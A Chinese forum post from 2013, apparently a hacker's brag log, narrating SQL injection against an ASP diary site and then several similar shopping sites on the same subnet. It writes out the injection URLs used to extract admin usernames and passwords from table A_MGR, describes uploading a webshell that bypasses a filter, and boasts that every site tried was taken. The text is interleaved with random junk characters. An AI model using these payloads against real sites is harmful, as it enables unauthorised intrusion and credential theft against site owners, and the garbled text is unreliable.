发现一个注入点
6 D+ d3 B( [9 E* C) X$ M4 y) X, [http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
' ?+ f9 {$ K( I( ^) ~6 H3 B: r2 `- t# f; a
习惯性的加’having1=1--
. k, A# `0 l5 r$ f" b. v9 E- i
$ v9 Q5 t( K! f' Q; k! j2 yhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
$ V+ w- Q6 _; v- U; K; z$ B* B* l. Q+ i7 V s1 j* G$ ~! k, P
0
1 s+ q5 o9 M) g" U9 p
5 L+ e9 C6 Z5 U4 n# G爆出Diary_A.dl_Title（这时候很激动啊）
2 M1 Z3 M/ I9 T! s/ F' T' ]1 I& P! y
那么继续
# ?. u$ q/ i+ g5 Z! _1 Q6 r4 z, khttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
$ z3 e! b# Q7 C- U
5 P" f6 x, m" p) d继续，一直爆下去
$ _) \& R l( |& c# A, W# z8 g9 F* N+ x( ^9 H
爆到几个字段和表段 但是没找到需要的管理用户的字段
( E6 C) e! b/ F. V' ^, }5 t; }/ T) {
蛋疼了 怎么办 然后去后台登陆页看源码
1 u5 |1 t1 t8 I3 z, g9 Y% L0 r9 k% @ ^9 J( F& V
0
, u) K3 b1 E9 p- A
( S1 [3 @7 ?0 H3 p. EInput name= “ADUID”
- l" Y+ c" \$ ~, |' nInput name= “ADPWD”$ `- W, b1 ]) p- S
! K5 z$ w& R$ w$ q2 O7 x4 |很幸运 找到了字段那就继续
+ n7 Y r; H2 b' M( S/ ~找到之后开始爆用户
5 f- w6 w9 w u* t. ghttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—8 C- p( u; d2 |; t& [! n
爆密码- m; `9 \- N9 q5 s" S
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
: Y- d4 [' K; [* z3 Y3 @- j1 k测试了下 这个注入点只能爆到文章哪里的表
. o0 o6 H( j( r2 _4 M& x6 o5 E' v; m5 d( m; Z* y; U1 ^4 S2 v6 c
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了# M- w) |8 O. j5 ]' x( B% K# k
9 Q1 U1 y F" p' t1 u又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了. f) T% [* q) y
4 O- f; g$ ]- ]7 M. Y$ g3 ^
4738 g: }4 U4 n5 Y$ o/ E
2 L4 z s z' g, K+ E# c+ V
进后台8 B! v* X7 L3 O) {6 }
v) F. z- k6 s5 Z# W) n
( K: a2 F. A x2 Y发现几个上传点 有的地方不能上传 而且防止恶意代码9 |; {9 `& a! ~1 i1 n
* Q7 e4 C- o( z* t L4 ]没办法 各种百度各种找大牛 找到一只好像可以突破的马
% k; [' }: J% [; Q! B6 O/ a4 b- ?8 O! z, J( J
; e3 W5 v& Q& a1 x/ V* t; N t* O
在系统管理那里直接上传 不过没有显示地址
5 Y/ m- M( o" S- t, j5 \* D5 Y4 t) z7 {3 i" k1 ^+ s5 a8 J i& R& I1 e
再上传一次 抓包 搞定OK/ e3 c0 L" @- P8 v
, `8 f$ G! @/ M$ I* ]/ P
& [; O7 \/ ]) e2 k+ E
5 T F$ o+ _8 q1 A5 `9 @2 B4729 Z8 a Z# A5 W) r. e
1 P# G, I% k* Y% f0 d5 |
晚上不行了 去睡觉。。。
6 p6 }% @) [; V* O3 {# s第二天刚起床 闲的没事做继续日站吧 8 O5 K- Z$ F0 ]" l5 S2 @3 z: ? R
0 @' o2 E( O: s, j! M找个站 就把这个站的旁c扫了下
p9 m) Q; g; o. m0 ?$ Z5 U9 a3 F# ^. u- s
发现c段也有一个购物站 ，然后还和这个站的模板差不多9 U8 L3 q: [3 S" S. }
8 j7 ~6 z) E# A3 F7 O( D' [就找到会员登录口测试9 }2 O! P2 d& I" O4 ?! g
2 `9 w% H6 B- y- k0 O'and (select top 1 MGR_UID from A_MGR)>0—5 B8 U5 N0 C/ f4 g7 C- w$ {
果断爆到了 这时候我很激动 通杀3 s8 F# `. z! D9 l) V1 ~
9 M" U7 Y1 S$ ^) r" d
再次翻c段
8 L( R, O H: {7 z
$ R5 H' Z8 E7 U/ X% _翻出几个站 都成功拿下
8 S. t3 D ?7 y9 \8 ]3 T* L7 O
- p0 a' @; o0 t! |. Q0 M( k4 A) D" S4 k# u ~8 |
. l4 G' |7 }/ {修复方案：4 B1 L. r) }7 L' E* i" X3 a
他们比我专业 " {' c: o* y% B6 W5 q, {3 R" O; k
/ W/ ~ ~# d' y$ F7 `! l: k" x6 `+ p! _ c! _/ K
K# R; ]! t3 a9 [* I( @4 F6 Y) i7 x
|
发表于 2013-4-4 17:40:38
收藏
支持
反对